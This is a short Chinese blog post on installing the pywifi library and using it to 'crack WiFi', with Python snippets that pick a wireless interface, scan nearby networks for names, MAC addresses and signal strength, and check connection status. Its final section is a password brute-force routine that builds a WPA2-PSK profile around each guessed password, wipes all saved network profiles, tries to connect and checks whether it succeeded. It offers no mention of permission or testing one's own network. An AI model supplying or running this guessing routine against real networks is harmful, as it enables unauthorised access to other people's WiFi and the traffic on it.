pywifi安裝
- 拿到pywifi文件夾
- 如果有pip環(huán)境變量就直接cd進入pywifi目錄
- 輸入pip install .
- 如果沒有環(huán)境變量就cd進pip的目錄
- 然后pip install pywifi目錄
破解WiFi的步驟
1. 抓取無線網(wǎng)卡
pywifi.set_loglevel(logging.INFO) # 輸出日志
wifi = pywifi.PyWiFi() # 抓取WiFi接口
ifaceList = wifi.interfaces() # 抓取無線網(wǎng)卡列表
iface = ifaceList[0] # 如果有無線網(wǎng)卡第一個一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() # 抓取WiFi接口
iface = wifi.interfaces()[0] # 抓取無線網(wǎng)卡列表
iface.scan() # 掃描
time.sleep(5)
bsses = iface.scan_results() # 掃描到的結(jié)果
for pjwifi in bsses:
print(pjwifi.ssid) # 所有WiFi名
print(pjwifi.bssid) # mac地址
print(pjwifi.signal) # 信號強度(值越大信號越強)
3. 測試網(wǎng)卡狀態(tài)
iface = wifi.interfaces()[0]
iface.status()-->
const.IFACE_DISCONNECTED:0沒有連接
const.IFACE_INACTIVE:2沒有激活
const.IFACE_CONNECTED:1連接好了
4. 針對某一WiFi進行密碼爆破
'''爆破密碼'''
profile = pywifi.Profile() # 創(chuàng)建wifi鏈接文件
profile.ssid = wifiName # wifi名稱趾浅,不加會報錯
profile.auth = const.AUTH_ALG_OPEN # 網(wǎng)卡的開放
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = pwd # 密碼
self.iface.remove_all_network_profiles() # 刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 設(shè)定新的鏈接文件
self.iface.connect(tmp_profile) # 鏈接
time.sleep(5)
connectStatus = self.iface.status() == const.IFACE_CONNECTED
self.iface.disconnect() # 斷開連接
time.sleep(1)
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者